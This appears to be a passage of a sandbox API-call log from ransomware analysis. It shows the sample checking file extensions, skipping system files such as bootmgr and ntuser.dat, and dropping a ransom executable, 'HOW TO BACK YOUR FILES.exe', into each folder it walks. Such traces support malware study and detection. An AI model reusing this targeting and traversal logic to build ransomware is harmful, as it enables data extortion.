	[0050.935] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0050.935] lstrlenW (lpString="^^^") returned 3
	[0050.935] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0050.935] lstrlenW (lpString="abs") returned 3
	[0050.935] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0050.935] lstrlenW (lpString="abx") returned 3
	[0050.935] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0050.935] lstrlenW (lpString="accdb") returned 5
	[0050.935] lstrcmpiW (lpString1="e.dat", lpString2="accdb") returned 1
	[0050.935] lstrlenW (lpString="accdc") returned 5
	[0050.935] lstrcmpiW (lpString1="e.dat", lpString2="accdc") returned 1
	[0050.935] lstrlenW (lpString="accde") returned 5
	[0050.935] lstrcmpiW (lpString1="e.dat", lpString2="accde") returned 1
	[0050.935] lstrlenW (lpString="accdr") returned 5
	[0050.935] lstrcmpiW (lpString1="e.dat", lpString2="accdr") returned 1
	[0050.935] lstrlenW (lpString="accdt") returned 5
	[0050.935] lstrcmpiW (lpString1="e.dat", lpString2="accdt") returned 1
	[0050.935] lstrlenW (lpString="accdw") returned 5
	[0050.935] lstrcmpiW (lpString1="e.dat", lpString2="accdw") returned 1
	[0050.936] lstrlenW (lpString="accft") returned 5
	[0050.936] lstrcmpiW (lpString1="e.dat", lpString2="accft") returned 1
	[0050.936] lstrlenW (lpString="adb") returned 3
	[0050.936] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0050.936] lstrlenW (lpString="adb") returned 3
	[0050.936] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0050.936] lstrlenW (lpString="ade") returned 3
	[0050.936] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0050.936] lstrlenW (lpString="adf") returned 3
	[0050.936] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0050.936] lstrlenW (lpString="adn") returned 3
	[0050.936] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0050.936] lstrlenW (lpString="adp") returned 3
	[0050.936] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0050.936] lstrlenW (lpString="alf") returned 3
	[0050.936] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0050.936] lstrlenW (lpString="ask") returned 3
	[0050.936] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
	[0050.936] lstrlenW (lpString="btr") returned 3
	[0050.936] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0050.936] lstrlenW (lpString="cat") returned 3
	[0050.936] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0050.936] lstrlenW (lpString="cdb") returned 3
	[0050.936] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0050.936] lstrlenW (lpString="ckp") returned 3
	[0050.936] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0050.936] lstrlenW (lpString="cma") returned 3
	[0050.936] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0050.936] lstrlenW (lpString="cpd") returned 3
	[0050.936] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0050.936] lstrlenW (lpString="dacpac") returned 6
	[0050.936] lstrcmpiW (lpString1="he.dat", lpString2="dacpac") returned 1
	[0050.936] lstrlenW (lpString="dad") returned 3
	[0050.937] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0050.937] lstrlenW (lpString="dadiagrams") returned 10
	[0050.937] lstrlenW (lpString="daschema") returned 8
	[0050.937] lstrcmpiW (lpString1="ache.dat", lpString2="daschema") returned -1
	[0050.937] lstrlenW (lpString="db-journal") returned 10
	[0050.937] lstrlenW (lpString="db-shm") returned 6
	[0050.937] lstrcmpiW (lpString1="he.dat", lpString2="db-shm") returned 1
	[0050.937] lstrlenW (lpString="db-wal") returned 6
	[0050.937] lstrcmpiW (lpString1="he.dat", lpString2="db-wal") returned 1
	[0050.937] lstrlenW (lpString="dbc") returned 3
	[0050.937] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0050.937] lstrlenW (lpString="dbs") returned 3
	[0050.937] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0050.937] lstrlenW (lpString="dbt") returned 3
	[0050.937] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0050.937] lstrlenW (lpString="dbv") returned 3
	[0050.937] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0050.937] lstrlenW (lpString="dbx") returned 3
	[0050.937] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0050.937] lstrlenW (lpString="dcb") returned 3
	[0050.937] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0050.937] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0050.937] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1
	[0050.937] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1
	[0050.937] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1
	[0050.937] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1
	[0050.938] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\OFFICE", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\OFFICE") returned="C:\\ProgramData\\Microsoft\\OFFICE"
	[0050.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b63e8 | out: hHeap=0x580000) returned 1
	[0050.938] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0050.938] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OFFICE") returned 31
	[0050.938] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\OFFICE" | out: lpString1="C:\\ProgramData\\Microsoft\\OFFICE") returned="C:\\ProgramData\\Microsoft\\OFFICE"
	[0050.938] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.938] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\office\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.938] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.938] GetLastError () returned 0x0
	[0050.938] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.938] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.939] CloseHandle (hObject=0x15c) returned 1
	[0050.939] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.939] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.939] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb21870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb21870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.939] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.939] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.939] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.939] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb21870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb21870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.939] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.939] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.939] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.939] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.939] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5011dd00, ftCreationTime.dwHighDateTime=0x1ca04ff, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5011dd00, ftLastWriteTime.dwHighDateTime=0x1ca04ff, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1
	[0050.939] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.939] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="Apollon865.txt.exe") returned 1
	[0050.939] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".") returned 1
	[0050.939] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="..") returned 1
	[0050.939] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="windows") returned -1
	[0050.939] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="bootmgr") returned -1
	[0050.939] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="temp") returned -1
	[0050.939] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="pagefile.sys") returned -1
	[0050.939] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="boot") returned -1
	[0050.939] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="ids.txt") returned -1
	[0050.940] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="ntuser.dat") returned -1
	[0050.940] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="perflogs") returned -1
	[0050.940] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="MSBuild") returned -1
	[0050.940] lstrlenW (lpString="AssetLibrary.ico") returned 16
	[0050.940] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OFFICE\\*") returned 33
	[0050.940] lstrcpyW (in: lpString1=0x2d3e590, lpString2="AssetLibrary.ico" | out: lpString1="AssetLibrary.ico") returned="AssetLibrary.ico"
	[0050.940] lstrlenW (lpString="AssetLibrary.ico") returned 16
	[0050.940] lstrlenW (lpString="Apollon865") returned 10
	[0050.940] lstrcmpiW (lpString1="ibrary.ico", lpString2="Apollon865") returned 1
	[0050.940] lstrlenW (lpString=".dll") returned 4
	[0050.940] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".dll") returned 1
	[0050.940] lstrlenW (lpString=".lnk") returned 4
	[0050.940] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".lnk") returned 1
	[0050.940] lstrlenW (lpString=".ini") returned 4
	[0050.940] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".ini") returned 1
	[0050.940] lstrlenW (lpString=".sys") returned 4
	[0050.940] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".sys") returned 1
	[0050.940] lstrlenW (lpString="AssetLibrary.ico") returned 16
	[0050.940] lstrcpyW (in: lpString1=0x2d3e590, lpString2="DocumentRepository.ico" | out: lpString1="DocumentRepository.ico") returned="DocumentRepository.ico"
	[0050.940] lstrlenW (lpString="DocumentRepository.ico") returned 22
	[0050.940] lstrlenW (lpString="Apollon865") returned 10
	[0050.940] lstrcmpiW (lpString1="sitory.ico", lpString2="Apollon865") returned 1
	[0050.940] lstrlenW (lpString=".dll") returned 4
	[0050.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".dll") returned 1
	[0050.940] lstrlenW (lpString=".lnk") returned 4
	[0050.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".lnk") returned 1
	[0050.940] lstrlenW (lpString=".ini") returned 4
	[0050.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".ini") returned 1
	[0050.940] lstrlenW (lpString=".sys") returned 4
	[0050.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".sys") returned 1
	[0050.940] lstrlenW (lpString="DocumentRepository.ico") returned 22
	[0050.941] lstrcpyW (in: lpString1=0x2d3e590, lpString2="MySharePoints.ico" | out: lpString1="MySharePoints.ico") returned="MySharePoints.ico"
	[0050.941] lstrlenW (lpString="MySharePoints.ico") returned 17
	[0050.941] lstrlenW (lpString="Apollon865") returned 10
	[0050.941] lstrcmpiW (lpString1="Points.ico", lpString2="Apollon865") returned 1
	[0050.941] lstrlenW (lpString=".dll") returned 4
	[0050.941] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".dll") returned 1
	[0050.941] lstrlenW (lpString=".lnk") returned 4
	[0050.941] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".lnk") returned 1
	[0050.941] lstrlenW (lpString=".ini") returned 4
	[0050.941] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".ini") returned 1
	[0050.941] lstrlenW (lpString=".sys") returned 4
	[0050.941] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".sys") returned 1
	[0050.941] lstrlenW (lpString="MySharePoints.ico") returned 17
	[0050.941] lstrcpyW (in: lpString1=0x2d3e590, lpString2="MySite.ico" | out: lpString1="MySite.ico") returned="MySite.ico"
	[0050.941] lstrlenW (lpString="MySite.ico") returned 10
	[0050.941] lstrlenW (lpString="Apollon865") returned 10
	[0050.941] lstrlenW (lpString=".dll") returned 4
	[0050.941] lstrcmpiW (lpString1="MySite.ico", lpString2=".dll") returned 1
	[0050.941] lstrlenW (lpString=".lnk") returned 4
	[0050.941] lstrcmpiW (lpString1="MySite.ico", lpString2=".lnk") returned 1
	[0050.941] lstrlenW (lpString=".ini") returned 4
	[0050.941] lstrcmpiW (lpString1="MySite.ico", lpString2=".ini") returned 1
	[0050.941] lstrlenW (lpString=".sys") returned 4
	[0050.941] lstrcmpiW (lpString1="MySite.ico", lpString2=".sys") returned 1
	[0050.941] lstrlenW (lpString="MySite.ico") returned 10
	[0050.941] lstrcpyW (in: lpString1=0x2d3e590, lpString2="SharePointPortalSite.ico" | out: lpString1="SharePointPortalSite.ico") returned="SharePointPortalSite.ico"
	[0050.941] lstrlenW (lpString="SharePointPortalSite.ico") returned 24
	[0050.941] lstrlenW (lpString="Apollon865") returned 10
	[0050.941] lstrcmpiW (lpString1="alSite.ico", lpString2="Apollon865") returned -1
	[0050.942] lstrlenW (lpString=".dll") returned 4
	[0050.942] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".dll") returned 1
	[0050.942] lstrlenW (lpString=".lnk") returned 4
	[0050.942] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".lnk") returned 1
	[0050.942] lstrlenW (lpString=".ini") returned 4
	[0050.942] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".ini") returned 1
	[0050.942] lstrlenW (lpString=".sys") returned 4
	[0050.942] lstrcmpiW (lpString1="SharePointPortalSite.ico", lpString2=".sys") returned 1
	[0050.942] lstrlenW (lpString="SharePointPortalSite.ico") returned 24
	[0050.942] lstrcpyW (in: lpString1=0x2d3e590, lpString2="SharePointTeamSite.ico" | out: lpString1="SharePointTeamSite.ico") returned="SharePointTeamSite.ico"
	[0050.942] lstrlenW (lpString="SharePointTeamSite.ico") returned 22
	[0050.942] lstrlenW (lpString="Apollon865") returned 10
	[0050.942] lstrcmpiW (lpString1="amSite.ico", lpString2="Apollon865") returned -1
	[0050.942] lstrlenW (lpString=".dll") returned 4
	[0050.942] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".dll") returned 1
	[0050.942] lstrlenW (lpString=".lnk") returned 4
	[0050.942] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".lnk") returned 1
	[0050.942] lstrlenW (lpString=".ini") returned 4
	[0050.942] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".ini") returned 1
	[0050.942] lstrlenW (lpString=".sys") returned 4
	[0050.942] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".sys") returned 1
	[0050.942] lstrlenW (lpString="SharePointTeamSite.ico") returned 22
	[0050.942] lstrcpyW (in: lpString1=0x2d3e590, lpString2="UICaptions" | out: lpString1="UICaptions") returned="UICaptions"
	[0050.942] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0050.942] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x5983a8
	[0050.942] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x5b7c10
	[0050.942] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb479d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb479d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 0
	[0050.942] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.943] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd90
	[0050.943] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions"
	[0050.943] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0050.943] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0050.943] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions") returned 42
	[0050.943] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions" | out: lpString1="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions"
	[0050.943] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.943] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.943] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.943] GetLastError () returned 0x0
	[0050.943] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.943] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.943] CloseHandle (hObject=0x15c) returned 1
	[0050.943] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.943] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.944] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb479d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb479d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.944] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.944] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.944] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.944] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb479d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb479d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.944] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.944] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.944] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.944] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.944] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb93c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb93c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0050.944] lstrcmpiW (lpString1="1036", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.944] lstrcmpiW (lpString1="1036", lpString2="Apollon865.txt.exe") returned -1
	[0050.944] lstrcmpiW (lpString1="1036", lpString2=".") returned 1
	[0050.944] lstrcmpiW (lpString1="1036", lpString2="..") returned 1
	[0050.944] lstrcmpiW (lpString1="1036", lpString2="windows") returned -1
	[0050.944] lstrcmpiW (lpString1="1036", lpString2="bootmgr") returned -1
	[0050.944] lstrcmpiW (lpString1="1036", lpString2="temp") returned -1
	[0050.944] lstrcmpiW (lpString1="1036", lpString2="pagefile.sys") returned -1
	[0050.944] lstrcmpiW (lpString1="1036", lpString2="boot") returned -1
	[0050.944] lstrcmpiW (lpString1="1036", lpString2="ids.txt") returned -1
	[0050.944] lstrcmpiW (lpString1="1036", lpString2="ntuser.dat") returned -1
	[0050.944] lstrcmpiW (lpString1="1036", lpString2="perflogs") returned -1
	[0050.944] lstrcmpiW (lpString1="1036", lpString2="MSBuild") returned -1
	[0050.944] lstrlenW (lpString="1036") returned 4
	[0050.944] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*") returned 44
	[0050.944] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="1036" | out: lpString1="1036") returned="1036"
	[0050.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0050.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5458
	[0050.945] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x5b7c10
	[0050.945] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb6db30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb6db30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0050.945] lstrcmpiW (lpString1="3082", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.945] lstrcmpiW (lpString1="3082", lpString2="Apollon865.txt.exe") returned -1
	[0050.945] lstrcmpiW (lpString1="3082", lpString2=".") returned 1
	[0050.945] lstrcmpiW (lpString1="3082", lpString2="..") returned 1
	[0050.945] lstrcmpiW (lpString1="3082", lpString2="windows") returned -1
	[0050.945] lstrcmpiW (lpString1="3082", lpString2="bootmgr") returned -1
	[0050.945] lstrcmpiW (lpString1="3082", lpString2="temp") returned -1
	[0050.945] lstrcmpiW (lpString1="3082", lpString2="pagefile.sys") returned -1
	[0050.945] lstrcmpiW (lpString1="3082", lpString2="boot") returned -1
	[0050.945] lstrcmpiW (lpString1="3082", lpString2="ids.txt") returned -1
	[0050.945] lstrcmpiW (lpString1="3082", lpString2="ntuser.dat") returned -1
	[0050.945] lstrcmpiW (lpString1="3082", lpString2="perflogs") returned -1
	[0050.945] lstrcmpiW (lpString1="3082", lpString2="MSBuild") returned -1
	[0050.945] lstrlenW (lpString="3082") returned 4
	[0050.945] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned 47
	[0050.945] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="3082" | out: lpString1="3082") returned="3082"
	[0050.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0050.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5528
	[0050.945] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd90
	[0050.945] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb479d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fb479d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.945] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.945] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb479d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fb479d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
